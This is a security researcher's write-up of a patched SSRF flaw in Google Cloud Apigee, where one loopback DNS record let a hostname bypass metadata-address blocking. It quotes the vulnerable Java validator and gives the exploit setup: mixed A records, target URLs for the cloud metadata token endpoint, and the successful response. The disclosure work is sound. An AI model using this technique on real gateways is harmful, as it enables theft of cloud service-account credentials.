Research details · Patched
- Product
- Google Cloud Apigee
- Affected versions
- 1-15-0-apigee-5
- Patch status
- Patched
- Bounty
- USD 42,000
- Series
- Cloud VRP bugSWAT 2025
Introduction
This is the first post in my Cloud VRP bugSWAT 2025 series. I was really happy to take part, even remotely: this was my first hacking event!
Unfortunatelly, my visa application was rejected :(
Then I saw Apigee in scope. Of course I was going to dig into it (especially with a 2x bounty modifier!). By that point I had already reported quite a few Apigee vulnerabilities, so I wanted to spend the event on parts of the platform I had not reviewed before. SSRF protection was first on the list.
Starting with the obvious tests
Apigee is an API gateway. Its job is to take incoming requests and route them to different targets, often deep inside a company's infrastructure. If its outbound HTTP client can be tricked into reaching a local or cloud-internal address, the gateway becomes an SSRF primitive. So yes, address validation is a pretty important boundary here.
A safe implementation has a simple order: parse the target, resolve its hostname, validate every returned address, and let the client connect only to addresses that passed. The same rule has to survive DNS refreshes and retries. A hostname can resolve to several IPs, and the client is free to choose any of them.
So, I started with the boring tests. I pointed an Apigee target directly at the instance metadata address. Blocked. Then I used a hostname that resolved only to that address. Blocked again. The runtime returned protocol.http.NoResolvedHost before making the connection.
Good result for the product. Slightly disappointing result for me.
Black-box testing had shown that the restriction existed. It had not shown whether resolution, validation, and connection all agreed on which address had been approved. That was the part I wanted to read.
I started at the outbound HTTP client and followed its resolver. That led to com.apigee.protocol.http.InetAddressValidator. By the time this class ran, DNS had already produced Java InetAddress objects. The validator received all of them together with the destination port and decided whether the HTTP client could continue.
Apigee treated this as a security boundary elsewhere too: changing its settings required the com.apigee.changeAddressValidation permission.
Following one DNS answer to the connection
The validator exposed three methods named isValid. The HTTP client entered through the list overload, which passed the complete DNS answer to the array overload. That method could call isValid(InetAddress, int) on each candidate. I wanted to know whether it always did.
The answer in the validator was only half the story. Even if it returned true too early, the caller might still discard the other addresses. I followed the same list through the HTTP client and its address selector:
The resolver supplies every address for the hostname. HTTPClient passes that list and the target port to InetAddressValidator.
Read all steps and source files
- The client hands over the entire DNS answer
The resolver supplies every address for the hostname. HTTPClient passes that list and the target port to InetAddressValidator.
HTTPClient.java:2, 3, 5, 6Line 3: The resolver returns a list, rather than one selected address.
Line 6: The validator receives the whole list and the destination port.
- The list reaches the array-level check intact
The List overload converts the complete answer to an array. It does not remove any candidate before the next overload runs.
InetAddressValidator.java:3, 4, 5, 6, 7Line 5: Every resolved address moves into the array overload.
- The array check has an early exit
If loopback checking is enabled and the port is whitelisted, isAnyLoopBack can make the method return true before its per-address loop.
InetAddressValidator.java:12, 13, 14, 15, 16Line 13: This helper needs only one loopback address.
Line 15: The boolean approves the entire DNS answer.
- One record satisfies the helper
With 127.0.0.1 beside 169.254.169.254, the helper returns true when it finds loopback. It makes no claim about the other address.
InetAddressValidator.java:28, 29, 30, 31, 32, 33, 34, 35Line 31: The first loopback candidate ends the scan.
- The strict loop never checks the second address
Normally this loop rejects an answer if any individual address fails validation. The earlier return prevents it from running.
InetAddressValidator.java:18, 19, 20, 21, 22, 23Line 19: This per-address check is skipped when the shortcut succeeds.
- The client keeps the original list
The validator returns only true or false. On true, HTTPClient returns the same list it received from DNS, including the unchecked address.
HTTPClient.java:5, 6, 7Line 7: No filtering occurs before the list is returned.
- A later selection can pick metadata
With multiple cached candidates, DNSCachedAddress chooses one at random. This method does not validate the chosen address again.
DNSCachedAddress.java:14, 15, 16, 18, 19, 20, 21, 22Line 20: The selected member comes from the retained address list.
HTTPClient.java
this.nettyClient.setDnsResolver(() -> {
List<InetAddress> addresses =
this.resolver.apply(this.providedHost.getHost());
if (InetAddressValidator.getInstance()
.isValid(addresses, this.providedHost.getPort())) {
return addresses;
}
return null;
});InetAddressValidator.java
public boolean isValid(List<InetAddress> addresses, int port) {
return isValid(
(InetAddress[]) addresses.toArray(new InetAddress[0]),
port
);
}
public boolean isValid(InetAddress[] addresses, int port) {
if (addresses != null) {
if (this.checkLoopBack
&& isAnyLoopBack(addresses)
&& portInWhiteList(port)) {
return true;
}
for (InetAddress inetAddress : addresses) {
if (!isValid(inetAddress, port)) {
return false;
}
}
return true;
}
return true;
}
public boolean isAnyLoopBack(InetAddress[] addresses) {
for (InetAddress inetAddress : addresses) {
if (inetAddress.isLoopbackAddress()) {
return true;
}
}
return false;
}DNSCachedAddress.java
@Override
public ResolvedInetSocketAddress getAddress() {
checkDNSResolver();
if (this.blockedAddress) {
return null;
}
if (this.activeResolvedAddresses == null
|| this.activeResolvedAddresses.size() == 0) {
((Logger.Api) logger.atFine())
.log("Address list is empty returned null");
return null;
}
int size = this.activeResolvedAddresses.size();
if (size == 1) {
return this.activeResolvedAddresses.get(0);
}
if (size > 0) {
try {
return this.activeResolvedAddresses.get(
ThreadLocalRandom.current().nextInt(size)
);
} catch (Exception e) {
((Logger.Api) logger.atSevere()).log(
"Exception %s while resolving the address: %s",
e, this.activeResolvedAddresses
);
return null;
}
}
return null;
}The mismatch is in what gets approved. isAnyLoopBack() needs one loopback address, while isValid(InetAddress[], int) treats its result as approval for the whole answer. HTTPClient returns that unfiltered answer. Downstream, DNSCachedAddress keeps the resolved candidates in activeResolvedAddresses and can choose an address that never passed the individual check.
The shortcut also required checkLoopBack and a whitelisted port. I used an HTTP target on port 80 to test whether that branch was reachable in the managed runtime.
Two records, one DNS answer
I registered a domain I controlled and configured ll.codesent.io with two A records:
ll.codesent.io. 30 IN A 127.0.0.1
ll.codesent.io. 30 IN A 169.254.169.254Both records were returned in the same DNS answer. The first satisfied isAnyLoopBack; the second pointed at the instance metadata service. No DNS rebinding was needed.
I then created two targets in the same proxy. One was the control and used the metadata address directly. The other used the mixed hostname:
direct-link-local -> http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
default -> http://ll.codesent.io/computeMetadata/v1/instance/service-accounts/default/tokenThe proxy sent Metadata-Flavor: Google with the outbound request to the metadata endpoint.
The direct target hit the restriction I had already seen:
HTTP/1.1 503 Service Unavailable
content-type: application/json
{
"fault": {
"faultstring": "Unable to resolve host 169.254.169.254",
"detail": {
"errorcode": "protocol.http.NoResolvedHost",
"reason": "TARGET_CONNECT_HOST_NOT_REACHABLE"
}
}
}The hostname took the other path. When the client selected the metadata candidate from the approved list, the response was:
HTTP/1.1 200 OK
content-type: application/json
metadata-flavor: Google
{
"access_token": "[REDACTED]",
"expires_in": 2091,
"token_type": "Bearer"
}Same restricted destination, but completely different DNS answer! This time Apigee connected.
Conclusion
This is exactly the kind of bug I love: no single method looks completely insane on its own. isAnyLoopBack() answers the question in its name. isValid() returns a boolean. HTTPClient keeps the DNS result it already has. The vulnerability appears only when you follow the same list through all three decisions. One address opened the shortcut - another address used it.